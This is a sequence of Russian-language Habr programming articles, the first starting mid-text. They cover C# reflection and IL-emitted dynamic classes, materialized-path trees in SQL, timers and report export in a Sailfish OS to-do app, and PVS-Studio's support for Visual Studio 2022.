if (curr == null)
return null;
PropertyInfo pI = curr.GetType().GetProperty(name);
objectIsCall = curr;
if (pI == null)
{
int t = name.IndexOf('.');
if (t > 0)
{
string curName = name.Substring(0, t);
pI = curr.GetType().GetProperty(curName);
if (pI != null)
{
name = name.Remove(0, t + 1);
if (name.Length > 0)
{
object v = pI.GetValue(curr, null);
if (v == null)
return null;
return GetPropertyByName(v, name, ref objectIsCall);
}
}
}
}
return pI;
}
///
/// формирует списки метаданных на основании переданных типов
///
/// список типов интерфейса\класса
/// список для заполнения
/// список для заполнения
/// список для заполнения
/// список для заполнения
/// список для заполнения
public static void GetInterfaceMetadata(List interfeceList, ref List propertyInfo,
ref List memberInfo, ref List fieldInfo, ref List metodInfo, ref List eventInfo)
{
int count = interfeceList.Count;
for (int a = 0; a < count; a++)
{
//////////////////////////////////////////////////////////////////////////
//базовые евенты и проперти
PropertyInfo[] propertyIE = interfeceList[a].GetProperties();
propertyInfo.AddRange(propertyIE);
EventInfo[] events = interfeceList[a].GetEvents();
eventInfo.AddRange(events);
MemberInfo[] membersIE = interfeceList[a].GetMembers();
memberInfo.AddRange(membersIE);
FieldInfo[] fieldIE = interfeceList[a].GetFields();
fieldInfo.AddRange(fieldIE);
MethodInfo[] metodIE = interfeceList[a].GetMethods();
metodInfo.AddRange(metodIE);
}
}
///
/// функция нахождения пвоторяющихся пропертей
///
///
///
public static Dictionary RemoveDoubleProperty(List propertyInfoInterface)
{
if (propertyInfoInterface == null)
return null;
Dictionary m\_doubleList = new Dictionary();
int count = propertyInfoInterface.Count - 1;
for (int a = count; a >= 0; a--)
{
List fnd = propertyInfoInterface.FindAll(
(PropertyInfo inf) => inf.Name == propertyInfoInterface[a].Name);
PropertyInfo fullMetod = null;
MetodInfoDouble mDouble = new MetodInfoDouble();
mDouble.getMetod = null;
mDouble.setMetod = null;
if (fnd != null && fnd.Count > 1)
{
string tmp = "";
for (int b = 0; b < fnd.Count; b++)
{
tmp += fnd[b].ReflectedType.FullName + "\r\n";
propertyInfoInterface.Remove(fnd[b]);
if (fnd[b].CanRead && fnd[b].CanWrite)
fullMetod = fnd[b];
else if (fnd[b].CanRead)
mDouble.getMetod = fnd[b].GetGetMethod();
else if (fnd[b].CanWrite)
mDouble.setMetod = fnd[b].GetSetMethod();
}
#if DEBUG
//MessageBox.Show("DEBUG:\r\nПовторяющийся параметр с именем: " + fnd[0].Name + "\r\nВ интерфейсах:\r\n" + tmp);
#endif
if (fullMetod != null)
propertyInfoInterface.Add(fullMetod);
else
{
m\_doubleList.Add(fnd[0].Name, mDouble);
propertyInfoInterface.Add(fnd[0]);
}
}
}
return m\_doubleList;
}
public static bool IsPrimitive(Type t)
{
if (t == null)
return true;
if (!t.IsClass && !t.IsInterface || t.IsPrimitive || t.IsEnum || t == typeof(String) || t == typeof(Guid) || t == typeof(DateTime))
return true;
return false;
}
///
/// функция получения данных и параметра по имени параметра
///
/// имя параметра
///передаваемые параметры
/// данные, могут быть null если не найденн параметр или он нулевой
static public object GetData(object baseCalss,string propertyName, object[] param = null)
{
if (baseCalss == null || propertyName == null)
return null;
object RecalcOb = null;
PropertyInfo \_PropertyDescriptor = SV.Tools.ClassesTools.GetPropertyByName(baseCalss, propertyName.ToString(), ref RecalcOb);
object v = null;
if (\_PropertyDescriptor != null)
v = \_PropertyDescriptor.GetValue((RecalcOb == null ? baseCalss : RecalcOb), param);
return v;
}
///
/// установка данных в параметр по имени
///
/// имя параметра
/// новое значение
///передаваемые параметры
/// false - если параметр небыл найден
static public bool SetData(object baseCalss, string propertyName, object newPropertyData, object[] param = null)
{
if (baseCalss == null || propertyName == null)
return false;
object RecalcOb = null;
PropertyInfo \_PropertyDescriptor = SV.Tools.ClassesTools.GetPropertyByName(baseCalss, propertyName, ref RecalcOb);
if (\_PropertyDescriptor == null)
return false;
object data = newPropertyData;
if (newPropertyData != null && newPropertyData.GetType() != \_PropertyDescriptor.PropertyType)
data = SV.ConversionTools.DataCoversion.ConvertByType(data.ToString(), \_PropertyDescriptor.PropertyType);
\_PropertyDescriptor.SetValue((RecalcOb == null ? baseCalss : RecalcOb), data, param);
return true;
}
}
}
```
Теперь я мог получить полностью всю информацию по любому объекту и **даже отправлять и получать данные в параметры просто по имени параметра**
```
///
/// функция получения данных и параметра по имени параметра
///
/// имя параметра
///передаваемые параметры
/// данные, могут быть null если не найденн параметр или он нулевой
static public object GetData(object baseCalss,string propertyName, object[] param = null)
{
if (baseCalss == null || propertyName == null)
return null;
object RecalcOb = null;
PropertyInfo _PropertyDescriptor = SV.Tools.ClassesTools.GetPropertyByName(baseCalss, propertyName.ToString(), ref RecalcOb);
object v = null;
if (_PropertyDescriptor != null)
v = _PropertyDescriptor.GetValue((RecalcOb == null ? baseCalss : RecalcOb), param);
return v;
}
///
/// установка данных в параметр по имени
///
/// имя параметра
/// новое значение
///передаваемые параметры
/// false - если параметр небыл найден
static public bool SetData(object baseCalss, string propertyName, object newPropertyData, object[] param = null)
{
if (baseCalss == null || propertyName == null)
return false;
object RecalcOb = null;
PropertyInfo _PropertyDescriptor = SV.Tools.ClassesTools.GetPropertyByName(baseCalss, propertyName, ref RecalcOb);
if (_PropertyDescriptor == null)
return false;
object data = newPropertyData;
if (newPropertyData != null && newPropertyData.GetType() != _PropertyDescriptor.PropertyType)
data = SV.ConversionTools.DataCoversion.ConvertByType(data.ToString(), _PropertyDescriptor.PropertyType);
_PropertyDescriptor.SetValue((RecalcOb == null ? baseCalss : RecalcOb), data, param);
return true;
}
```
Это был прорыв. Была создана обертка, которая занималась биндингом данных к GUI по тестовым структурам. Скорость разработки значительно увеличилась. В принципе можно было бы успокоиться.
***Но я же ленивый.***
**Шаг третий**
Сидя, как то, в пятницу, в баре, в глаза бросилась какая то вывеска-реклама. Что-то там было с словосочетанием ASM… Затуманенный мозг, сразу подбросил ассоциацию: ASM — ASSEMBLER и тут же всплыло воспоминание [Common Intermediate Language](https://ru.wikipedia.org/wiki/Common_Intermediate_Language), а за ним [IL Disassembler](https://msdn.microsoft.com/ru-ru/library/f7dy01k1(v=vs.110).aspx). Бросив друзей и бар, я побежал домой, не забыв, правда, захватить с собой пару литров пива для стимуляции.
**[Класс ILGenerator](https://msdn.microsoft.com/ru-ru/library/system.reflection.emit.ilgenerator(v=vs.110).aspx)**
Дома, почитав информацию по этому классу, я понял — это оно.
**Кручу-верчу, что хочу то и ворочу**
Собрав в кучу всю информацию, я приступил к делу.
**Перво-наперво создав консольный проект с простейшим кодом**
```
interface iT
{
int i { get; set; }
}
class cT : iT
{
int t = 0;
public int i
{
get
{
return t;
}
set
{
t = value;
}
}
}
class Program
{
static void Main(string[] args)
{
}
}
```
Я просмотрел во что он разворачивается с помощью [Ildasm.exe (IL Disassembler)](https://msdn.microsoft.com/ru-ru/library/f7dy01k1(v=vs.110).aspx)
**ASM code:**
```
.class interface private abstract auto ansi ILG.iT
{
.method public hidebysig newslot specialname abstract virtual
instance int32 get_i() cil managed
{
} // end of method iT::get_i
.method public hidebysig newslot specialname abstract virtual
instance void set_i(int32 'value') cil managed
{
} // end of method iT::set_i
.property instance int32 i()
{
.get instance int32 ILG.iT::get_i()
.set instance void ILG.iT::set_i(int32)
} // end of property iT::i
} // end of class ILG.iT
.class private auto ansi beforefieldinit ILG.cT
extends [mscorlib]System.Object
implements ILG.iT
{
.field private int32 t
.method public hidebysig newslot specialname virtual final
instance int32 get_i() cil managed
{
//
.maxstack 1
.locals init ([0] int32 V_0)
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldfld int32 ILG.cT::t
IL_0007: stloc.0
IL_0008: br.s IL_000a
IL_000a: ldloc.0
IL_000b: ret
} // end of method cT::get_i
.method public hidebysig newslot specialname virtual final
instance void set_i(int32 'value') cil managed
{
//
.maxstack 8
IL_0000: nop
IL_0001: ldarg.0
IL_0002: ldarg.1
IL_0003: stfld int32 ILG.cT::t
IL_0008: ret
} // end of method cT::set_i
.method public hidebysig specialname rtspecialname
instance void .ctor() cil managed
{
//
.maxstack 8
IL_0000: ldarg.0
IL_0001: ldc.i4.0
IL_0002: stfld int32 ILG.cT::t
IL_0007: ldarg.0
IL_0008: call instance void [mscorlib]System.Object::.ctor()
IL_000d: nop
IL_000e: ret
} // end of method cT::.ctor
.property instance int32 i()
{
.get instance int32 ILG.cT::get_i()
.set instance void ILG.cT::set_i(int32)
} // end of property cT::i
} // end of class ILG.cT
```
Немножко почесав репу, я создал класс по генерации динамических объектов на базе переданных: базового класса(любого) и списка интерфейсов:
→ [Ссылка на проект на GitHub](https://github.com/Veznich/GCSV)
### Немного опишу проект
**Формирование свойств объекта:**
**GET**
```
void CreatePropertyGetMetod(PropertyInfo property, PropertyBuilder custNamePropBldr, FieldBuilder fieldProperty, object redirectData)
{
#region GET_METOD
//находим метод гет для проперти
MethodInfo inf = property.GetGetMethod();
//если такого нет ищем в дублированных
if (inf == null)
{
if (m_doubleList.ContainsKey(property.Name))
inf = m_doubleList[property.Name].getMetod;
}
//если метод найден то начинаем его делать
if (inf != null)
{
//создаем построитель для метода
MethodBuilder custNameGetPropMthdBldr =
m_TypeBuilder.DefineMethod("get_" + property.Name,
m_getSetAttr,
property.PropertyType,
Type.EmptyTypes);
//создаем генератор ИЛ
ILGenerator custNameGetIL = custNameGetPropMthdBldr.GetILGenerator();
System.Reflection.Emit.Label end = custNameGetIL.DefineLabel();
//начинаем формировать асмокод
custNameGetIL.Emit(OpCodes.Nop);
custNameGetIL.Emit(OpCodes.Ldarg_0);
//возвращаем локальную переменную
custNameGetIL.Emit(OpCodes.Ldfld, fieldProperty);
//выход из проперти
custNameGetIL.Emit(OpCodes.Ret);
//перезаписываем метод по умолчанию
m_TypeBuilder.DefineMethodOverride(custNameGetPropMthdBldr, inf);
//устанавливаем этот метод
custNamePropBldr.SetGetMethod(custNameGetPropMthdBldr);
}
//конец создания ГЕТ метода
//////////////////////////////////////////////////////////////////////////
#endregion
}
```
**SET**
```
void CreatePropertySetMetod(PropertyInfo property, PropertyBuilder custNamePropBldr, FieldBuilder fieldProperty, object redirectData)
{
#region SET_METOD
//находим сет метод
MethodInfo inf = property.GetSetMethod();
//если нет то ищем в дублях
if (inf == null)
{
if (m_doubleList != null && m_doubleList.ContainsKey(property.Name))
inf = m_doubleList[property.Name].setMetod;
}
if (inf != null)
{
MethodBuilder custNameSetPropMthdBldr =
m_TypeBuilder.DefineMethod("set_" + property.Name,
m_getSetAttr,
null,
new Type[] { property.PropertyType });
ILGenerator custNameSetIL = custNameSetPropMthdBldr.GetILGenerator();
//создаем локальную переменную
custNameSetIL.Emit(OpCodes.Ldarg_0);
if (fieldProperty != null)
{
LocalBuilder loc = custNameSetIL.DeclareLocal(property.PropertyType);
custNameSetIL.Emit(OpCodes.Ldfld, fieldProperty);
custNameSetIL.Emit(OpCodes.Stloc_0);
custNameSetIL.Emit(OpCodes.Ldarg_0);
custNameSetIL.Emit(OpCodes.Ldarg_1);
//присваем значение переменной класса
custNameSetIL.Emit(OpCodes.Stfld, fieldProperty);
if (m_baseClass.GetInterface("iMatryoshkaCall") != null)
{
MethodInfo simpleShow = typeof(iMatryoshkaCall).GetMethod("CallPropertyChange");
//CallPropertyChange(string propertyName, object CommandID = null, object oldData = null, object newData = null)
if (simpleShow != null)
{
custNameSetIL.Emit(OpCodes.Ldarg_0);
custNameSetIL.Emit(OpCodes.Ldstr, property.Name);
custNameSetIL.Emit(OpCodes.Ldc_I4_0);
custNameSetIL.Emit(OpCodes.Box, typeof(int));
custNameSetIL.Emit(OpCodes.Ldloc_0);
custNameSetIL.Emit(OpCodes.Box, property.PropertyType);
custNameSetIL.Emit(OpCodes.Ldarg_0);
custNameSetIL.Emit(OpCodes.Ldfld, fieldProperty);
custNameSetIL.Emit(OpCodes.Box, property.PropertyType);
custNameSetIL.Emit(OpCodes.Callvirt, simpleShow);
}
}
}
custNameSetIL.Emit(OpCodes.Ret);
custNamePropBldr.SetSetMethod(custNameSetPropMthdBldr);
m_TypeBuilder.DefineMethodOverride(custNameSetPropMthdBldr, inf);
}
#endregion
}
```
**Из текущих возможностей:**
Формирование динамических классов-объектов на базе переданных: базового класса и списка интерфейсов, возможность сохранить эти объекты в отдельную библиотеку(dll), через BuilderClassesPropertyAttribyte наследника [Attribute](https://msdn.microsoft.com/ru-ru/library/system.attribute(v=vs.110).aspx) можно задавать у встроенных параметров-объектов различное наследование и поведение. Формирование и инициализация объектов-классов производиться с множеством вложенных объектов.
**Планирую в будущем:**
Дать возможность формировать объекты от нескольких классов и интерфейсов.Очень мне уж не хватало после С++ этого. | https://habr.com/ru/post/316238/ | null | ru | null |
# Метод хранения материализованных путей в БД.
Основным преимуществом данного метода является доступ к дочерним узлам любого уровня в один запрос к БД (правда с INNER JOIN).
**Пример:**
необходимо в разделе /company/ добраться до списка новостей (item1, item2)
* /company/ О компании
+ /company/news/ Новости
- /company/news/item2/ Вторая новость
- /company/news/item1/ Первая новость новость
+ /company/history/ История
+ /company/contacts/ Контакты
Данные хранятся в таблицах со следующей структурой:
**paths** — дерево с путями
> `id
>
> parent\_id # хранится id родителя (paths.id)
>
> name # имя узла, уникальное в пределах одного уровня
>
> path # путь (/company/, /company/news/item1/)
>
> title # для наглядности`
**path\_have\_childs** — таблица ссылок, хранит список дочерних узлов с уровнями относительно родительского узла
> `parent\_id # id родительского узла (paths.id)
>
> child\_id # id дочернего узла (paths.id)
>
> level # уровень дочернего узла относительно родительского`
Данные — таблица с путями:
| id | parent\_id | name | path | title |
| --- | --- | --- | --- | --- |
| 1 | 0 | | / | Главная |
| 2 | 1 | company | /company/ | О компании |
| 4 | 2 | news | /company/news/ | Новости |
| 5 | 4 | item1 | /company/news/item1/ | Новость 1 |
| 6 | 4 | item2 | /company/news/item2/ | Новость 2 |
| 3 | 1 | catalogue | /catalogue/ | Каталог |
| 7 | 3 | category1 | /catalogue/category1/ | Категория 1 |
| 8 | 7 | category2 | /catalogue/category1/category2/ | Категория 2 |
Дополнительная таблица — хранилище уровней дочернего узла относительно родительского:
| parent\_id | child\_id | level |
| --- | --- | --- |
| 1 | 2 | 1 |
| 1 | 8 | 3 |
| 1 | 7 | 2 |
| 1 | 6 | 3 |
| 1 | 5 | 3 |
| 1 | 4 | 2 |
| 1 | 3 | 1 |
| 2 | 5 | 2 |
| 2 | 6 | 2 |
| 2 | 4 | 1 |
| 3 | 7 | 1 |
| 3 | 8 | 2 |
| 4 | 6 | 1 |
| 4 | 5 | 1 |
| 7 | 8 | 1 |
Запрос генерирующий дополнительную таблицу для уровней — для каждого узла находятся все дочерние узлы, даже те которые не являются непосредственно дочерними, и вычисляется уровень вложенности относительно текущего узла:
> `INSERT INTO path\_have\_childs
>
> SELECT
>
> P.id AS parent\_id,
>
> C.id AS child\_id,
>
> (LENGTH(C.path) - LENGTH(REPLACE(C.path,'/','')))
>
> - (LENGTH(P.path) - LENGTH(REPLACE(P.path,'/','')))
>
> FROM paths AS P
>
> INNER JOIN paths AS C ON (C.path LIKE CONCAT(P.path, '\_%'))`
Выбор всех дочерних узлов узла X (parent\_have\_childs.parent\_id) с уровнем Y (parent\_have\_childs.level):
> `SELECT C.path
>
> FROM path\_have\_childs AS PHC
>
> INNER JOIN paths AS C ON (PHC.child\_id = C.id)
>
> WHERE
>
> PHC.level = Y
>
> AND PHC.parent\_id = X`
Конструктивные комментарии и критика приветствуются… | https://habr.com/ru/post/52298/ | null | ru | null |
# Разработка для Sailfish OS: таймеры и реализация экспорта в файл на примере примере приложения для ведения списка дел
Мы уже писали про опыт разработки [нашего первого приложения для мобильной платформы Sailfish OS](https://habrahabr.ru/post/312418/). Но на этом решили не останавливаться и сразу взялись за второе. Целью было создать приложение, с помощью которого пользователь мог бы вести учёт своего рабочего времени, планировать задачи и предоставлять информацию о проделанной работе, иными словами – разработать персональный мобильный тайм-трекер.
#### Описание приложения
Приложение, естественно, должно уметь вести журнал задач с возможность сохранения времени, потраченного на них. Желательно было, чтобы время можно было засекать с помощью встроенного таймера, а не только прописывать руками. Кроме этого, планировалась возможность создание текстовых отчетов о проделанной работе, в виде таблиц, с последующей отправкой их работодателю.
Так как разработка самой структуры приложения и его интерфейса уже была описана в предыдущих статьях цикла разработки для Sailfish OS (путь от начала разработки до создания первого приложения вы можете отследить [здесь](https://habrahabr.ru/post/305510/) и [тут](https://habrahabr.ru/post/312418/)), то в этой статье будет описан только функционал, который отличается от реализованного ранее и наиболее интересен с точки зрения его реализации. В нашем приложении — это таймеры задач и экспорт списка задач.
#### Таймер
Для измерения длительности работ в приложении используется механизм таймера. Процесс отсчета времени осуществляется с помощью стандартного элемента Qt Timer, у которого выставлен интервал обновления 1000 миллисекунд.
```
Timer {
id: stopwatch
interval: 1000
repeat: true
running: true
triggeredOnStart: true
onTriggered: {
if (timerActive) {
var currentTime = new Date ();
var differeceInTime = (currentTime.getTime() - previousTime.getTime());
previousTime = currentTime;
updateData(differentInTime);
}
}
}
function updateData(usec) {
elapsedTime += usec;
taskTimerString = getTimeString(elapsedTime);
}
```
При каждом срабатывании события *onTriggered* у *Timer* происходит вычисление времени таймера: из текущего времени вычитается время предыдущего срабатывания. Такая реализация удобна тем, что при выходе устройства из неактивного режима, время корректно будет обновлятся.
Для управления таймером сделаны кнопки **Старт** и **Сбросить**. Так же есть возможность поставить активный таймер на паузу. Чтобы сохранить замеренное время достаточно нажать на кнопку **Сохранить время**, доступную в выпадающем меню. Замер таймера автоматически добавится к текущему времени, потраченному на задачу.
Если пользователь пытается запустить новый таймер, пока активен старый, то будет выведен диалог с возможностью выбрать, как поступить со старым таймером: сбросить данные старого таймера и начать новый, сохранить данные старого таймера и начать новый, перейти к старому таймеру.
Также, если таймер активен, то он отображается на обложке приложения.
#### Экспорт отчетов
В приложении также реализована функция создания отчетов. Отчет представляет из себя таблицу, содержащую информацию о всех хранящихся в приложении задачах. В таблицу записываются даты начала и окончания задачи, ее название и описание, статус задачи, а также время, потраченное на нее. Список задач берется напрямую из базы данных, при этом задачи выбираются из промежутка, который пользователь сам указывает на экране создания отчетов.
```
function selectByPeriod(beginning, end) {
var database = getDatabase();
queryResult.clear();
database.transaction(function(transaction) {
var tasks = transaction.executeSql('SELECT * FROM tasks WHERE startDate >= ? AND finishDate <= ?', [beginning, end]);
for (var i = 0; i < tasks.rows.length; i++) {
var element = tasks.rows.item(i);
var startDate = new Date (element.startDate);
var finishDate = new Date (element.finishDate);
convertDateToUTC(startDate);
convertDateToUTC(finishDate);
var idDone = element.taskDone === 0 ? false : true
queryResult.append({"startDate": startDate, "finishDate": finishDate, "taskName": element.taskName, "taskDescription": element.taskDescription, "taskDone": isDone, "spentTime": element.spentTime});
}
})
}
```
Есть возможность записывать отчеты в файлы двух типов: csv и html. Выбор формата исходного файла происходит также на экране создания отчетов. Для каждого из типов реализован c++ класс, отвечающий за создание соответствующего файла. Запись в csv файлы осуществляется с помощью текстового потока *QTextStream*. Для корректного отображения кириллицы используется кодировка Windows-1251.
```
Q_INVOKABLE void writeLine(QVariantList taskInfo) {
QTextCodec *utf8 = QTextCodec::codecForName("Windows-1251");
QTextStream stream(&csvFile);
QStringList line;
stream.setCodec(utf8);
for(int i = 0; i < taskInfo.size(); i++) {
line << taskInfo[i].toString();
}
stream << line.join(",") << endl;
}
```
HTML отчеты создаются с помощью класса QTextDocument. Для создания таблицы с информацией по задачам используется класс QTextTable. Он позволяет задать стиль таблицы и текста в ней.
```
Q_INVOKABLE void createDocument(int rows, QVariantList columns) {
report = new QTextDocument();
QTextCursor cursor(report);
table = cursor.insertTable(rows + 1, columns.length());
QTextCharFormat format;
format.setFontWeight(QFont::Bold);
QTextCharFormat cellFormat;
cellFormat.setBackground(QBrush(Qt::cyan));
for(int col = 0; col < table->columns(); col++) {
QTextTableCell cell = table->cellAt(0, col);
QTextCursor cellCursor = cell.firstCursorPosition();
cell.setFormat(cellFormat);
cellCursor.mergeCharFormat(format);
cellCursor.insertText(columns[col].toString());
}
QTextTableFormat tableFormat = cursor.currentTable()->format();
tableFormat.setCellSpacing(0);
table->setFormat(tableFormat);
}
Q_INVOKABLE void addRow(int row, QVariantList taskInfo) {
QTextCharFormat cellFormat;
cellFormat.setBackground(QBrush(Qt::darkCyan));
for(int col = 0; col < table->columns(); col++) {
QTextTableCell cell = table->cellAt(row, col);
QTextCursor cellCursor = cell.firstCursorPosition();
cellCursor.insertText(taskInfo[col].toString());
}
QTextTableCell indexCell = table->cellAt(row, 0);
indexCell.setFormat(cellFormat);
}
```
#### Заключение
В результате было создано приложение с понятным и простым интерфейсом, которое позволяет легко вести и отслеживать список дел. Из ранее не планируемого функционала была добавлена возможность фильтровать задачи по статусу выполнения, чтобы можно было отсеивать выполненные. Приложение было опубликовано в магазине приложений Jolla Harbour под названием Report Card и доступно для скачивания всем желающим. Исходники приложения доступны на [GitHub](https://github.com/denLaure/sailfish-report-card).
Автор: Максим Костерин | https://habr.com/ru/post/316082/ | null | ru | null |
# Visual Studio 2022 стильно и свежо. История о её поддержке в PVS-Studio
Кажется, анонс Visual Studio 2022 был только недавно, и вот она уже вышла. Это означало ровно одно – поддержать данную IDE нужно в ближайшем релизе PVS-Studio. О том, с какими сложностями пришлось столкнуться, а что прошло без проблем, мы сегодня и поговорим.
### Впечатления от новой IDE
Скажу честно, мне очень понравилась Visual Studio 2022. Я просто наслаждаюсь новыми шрифтами, которые стали менее острыми что ли. Цвета тоже стали менее кислотными, и теперь уже не так больно ставить точку остановки при отладке.
Для сравнения ниже привожу несколько примеров. Вот так выглядит фрагмент кода в Visual Studio 2019:
Вот так выглядит в Visual Studio 2022:
**Важно**. Оба изображения сделаны на масштабе, равном 100 %.
Также в IDE подкорректировали тёмную тему – её сочетание с фиолетовым цветом выглядит крайне гармонично (слева VS 2019, справа VS 2022):
В общем, с внешней точки зрения новая VS выглядит целостно и свежо. Хотя я знаю, что староверам она не понравилась. :)
Ещё хочу упомянуть автодополнение кода. Оно вообще не мешается, а иногда реально дописывает то, что я хотел написать:
Если говорить про неудобства, я столкнулся с тем, что принятие автодополнения иногда приходится делать с помощью "стрелка вправо", а не tab. Почему-то в определенных случаях вместо принятия автодополнения происходит обычное нажатие на tab. Возможно, это не очень распространённая проблема – обсуждали с коллегой, у него не повторялась. Если вы знаете, как это исправить, пожалуйста, напишите в комментариях. Хочу заметить, что с момента первого preview таких моментов стало меньше и, возможно, это просто вопрос времени, когда всё поправят.
Поработав в этой IDE и получив удовольствие, я решил, что хочу взять запланированную задачу про её поддержку, чтобы побыстрее перейти на новую версию VS. Дело в том, что после VS2022 VS2019 открывать вообще не хотелось. Она казалась какой-то устаревшей (хотя сама по себе IDE очень годная). Как говорится, всё познаётся в сравнении.
### Поддержка плагина
Здесь всё прошло максимально плавно. [Изменения](https://docs.microsoft.com/en-us/visualstudio/extensibility/migration/breaking-api-list?view=vs-2022) нас особо не задели. Поэтому я просто создал новое решение для плагина, обновил NuGet-пакеты до необходимых версий и занялся прочим XML-программированием (например, редактированием .csproj-файлов).
Пришлось, однако, и немного поправить код – решение плагина для VS2022 не собиралось примерно из-за 5 ошибок. Все они возникли из-за того, что Microsoft слегка поменяли API, но всё оказалось совсем не страшно. Например, было вот так:
```
int Hwnd = DTE.MainWindow.HWnd;
return new NativeWindowWrapper(new IntPtr(Hwnd));
```
Стало вот так:
```
IntPtr Hwnd = DTE.MainWindow.HWnd;
return new NativeWindowWrapper(Hwnd);
```
Остальное завелось из коробки. Когда всё собралось, я решил запустить плагин, чтобы посмотреть, как обстоят дела. Кнопочки нажимались, анализ запускался, результаты выводились. Так что можно считать, что обновление плагина прошло легко. Следующим шагом было обновление toolset'ов. Однако внезапно всплыл один любопытный момент, о котором я не могу не рассказать.
### Самый интересный момент
Неочевидный и интересный момент, с которым я столкнулся, был связан с шаблонами файлов уровня решения. Это такие штуки, которые появляются, когда мы хотим добавить файл в решение:
Открывается это окошко, и всё, что мы в нём видим, — это шаблоны:
Как вы видите, у нас есть два своих шаблона. Не вдаваясь в детали, один нужен для более тонкой настройки анализатора, другой — для подавления предупреждений. Однако с ними и случилась проблема. Сами шаблоны легко добавились по аналогии со старыми плагинами, а вот картинка – нет:
Что, как, почему??? На эти вопросы у меня не было ответов. Поэтому пришлось глубже погрузиться в то, как они создаются.
Данные шаблоны имеют свой формат, и для тех, что изображены на картинке выше, код выглядит вот так:
```
Filters.pvsconfig_template| |PVS-Studio Filters File|1|
PVS-Studio C#/C++ filters file can be used to filter,
disable and modify C#/C++ analyzer messages on project and
solution.|{installDir}\PVSLoader.exe|#32512| |Filters.pvsconfig
SuppressionFile.suppress_template| |PVS-Studio Suppress File|2|
An empty PVS-Studio suppression file. You can suppress analyzer messages
in your code from 'PVS-Studio >Suppress Messages...' menu item.
Only one suppression file per solution is allowed.
Other files will be ignored.|{installDir}\PVSLoader.exe|#32512
| |SuppressionFile.suppress
```
Каждая позиция между | отвечает за определённый контент. Если стоит пробел, то контента не будет. Содержимое самого шаблона задаётся отдельно.
Давайте посмотрим, что собой представляет формат описания:
1. имя папки, шаблона или файла .vsz, например HeaderFile.h или MyWizard.vsz;
2. GUID пакета VSPackage;
3. название шаблона;
4. относительный порядок отображения шаблона;
5. описание;
6. путь до исполняемого файла, откуда нужно взять картинку;
7. ID картинки;
8. поле, использующиеся для отключения или включения полей "Name" и "Location" в диалоговом окне "Add New Item";
9. имя файла, созданного из шаблона.
Подробнее про этот формат вы можете почитать вот [тут](https://docs.microsoft.com/en-us/visualstudio/extensibility/internals/template-directory-description-dot-vsdir-files?view=vs-2022).
Так как у нас нет картинки, то подозрение падает на пункты 6 и 7. Вначале я решил почитать, как высчитать ID картинки в исполняемом файле и что-то приуныл. :( В этих ваших интернетах говорили, что нужно качать специальную программу. При этом все ссылки на подобные программы выглядели, скажем так, не очень официально. Сразу прибегать к этому способу не хотелось, поэтому я решил посмотреть на IL код с помощью IL DASM. Там я тоже ничего не нашёл :). Упоминания числа 32512 не было. Решил, может быть, это число записано в другой системе счисления, пробовал преобразовать и поискать, но опять мимо. Уф...
И тут мой мозг такой: "Давай попробуем просто другой .exe подсунуть". Да почему бы и нет? Беру и передаю другой файл, и, о чудо, оно работает! Как в итоге оказалось, всё дело в разрядности передаваемого файла. Все Visual Studio до 2022 были 32-битными, и приложение для картинки им нужно соответствующее. 2022 же стала 64-битной. Вот такая забавная проблема.
### Поддержка нового toolset
Чтобы лучше понимать, что происходит, я настоятельно рекомендую почитать соответствующие разделы статей про поддержку Visual Studio [2017](https://pvs-studio.com/ru/blog/posts/csharp/0503/) и [2019](https://pvs-studio.com/ru/blog/posts/csharp/0630/).
В отличие от поддержки плагина, которая прошла достаточно мягонько, поддержка toolset'а оказалась тем ещё приключением. Сейчас объясню, в чём основная проблема. Смотрите, у нас есть файл MSBuild.exe.config, в котором мы прописываем разные свойства, необходимые для эвалюации (построения модели проекта). До поддержки VS2022 выглядел он примерно вот так:
```
xml version="1.0" encoding="utf-8"?
....
....
....
....
....
```
Это только кусочек файла, но его достаточно, чтобы продемонстрировать суть. Как вы видите, тут имеется 2 toolset'а: 'Current' для VS2019 и 15.0 для VS2017. Теперь Microsoft выпускает VS2022, и картина наименования начинает выглядеть вот так:
Обратите внимание, что имена Tools Version для VS2019 и VS2022 одинаковые. И это проблема, так как нельзя дать двум разным toolset'ам одинаковое название. Поэтому мы решили, что вместо названия будем динамически изменять содержимое. Оставляем 'Current', для инициализации toolset'ов, как и раньше, используем переменные окружения. Значения для этих переменных вычисляются на основе установленных в системе версий Visual Studio или того, из-под какой версии VS мы работаем в данный момент.
Как следствие, у нас один toolset 'Current', который может работать как с VS2019, так и с VS2022, а в будущем – и с новыми версиями IDE. Вот схемка, которая наглядно показывает этот процесс:
Ещё раз стоит подчеркнуть, что отдельно учитывается ситуация, когда задана переменная окружения *VisualStudioVersion* со значением 16.0 или 17.0. В этом случае мы высчитываем и используем для 'Current' значение указанной VS.
Таким образом удалось решить текущую проблему с одинаковым названием разных toolset'ов, а также сделать механизм универсальным и легко расширяемым (хочется верить) для новых VS.
### Поддержка .NET 6, обновление библиотек Roslyn и MSBuild
Так как VS2022 и .NET 6 вышли вместе, в PVS-Studio поддержку того и другого тоже необходимо было добавить в рамках одного релиза. Как следствие, мы параллельно поддерживали Visual Studio 2022 и анализ проектов под .NET 6, работу с .NET 6 SDK, обновляли библиотеки MSBuild и Roslyn.
Как обычно, при поддержке новой версии .NET вылезло много специфики, связанной с тем, что мы используем собственные BuildTools. Кстати, о том, с чем мы столкнулись при поддержке .NET 5, можно почитать [здесь](https://pvs-studio.com/ru/blog/posts/csharp/0822/).
#### Синхронизация наших BuildTools и BuildTools .NET
Зачем это нужно и как реализовано, описывается в статьях про поддержку [VS2017](https://pvs-studio.com/ru/blog/posts/csharp/0503/) и [VS2019](https://pvs-studio.com/ru/blog/posts/csharp/0630/). Может показаться, что собственные BuildTools – лишняя головная боль. Однако, как показала практика, такой подход даёт большую стабильность/гибкость.
К тому же, это неплохая возможность повозиться с .targets / .props файлами и начать лучше понимать соответствующую часть PVS-Studio и экосистему .NET в целом.
#### Отладка Roslyn и MSBuild
При работе с Roslyn / MSBuild иногда всплывают какие-то неочевидные проблемы (например, проект теряет часть ссылок), из-за чего приходится погружаться в исходники. У нас в проекте даже специальная конфигурация есть для отладки Roslyn и MSBuild, собранных из исходников. :)
То, что эти (как и многие другие) проекты от Microsoft имеют открытый исходный код, очень играет на руку. Если нужно что-то выяснить – можно подебажить код и посмотреть, как и что работает.
Поначалу может быть сложно, но со временем начинаешь неплохо ориентироваться в тех частях этих проектов, куда приходится возвращаться время от времени. Когда оказываешься в тех местах кода, где не был несколько лет, это ощущается в чём-то сродни возвращению домой.
Повторю то, что говорил выше – работа с такими задачами даёт лучшее понимание того, как работает компилятор / сборочная система.
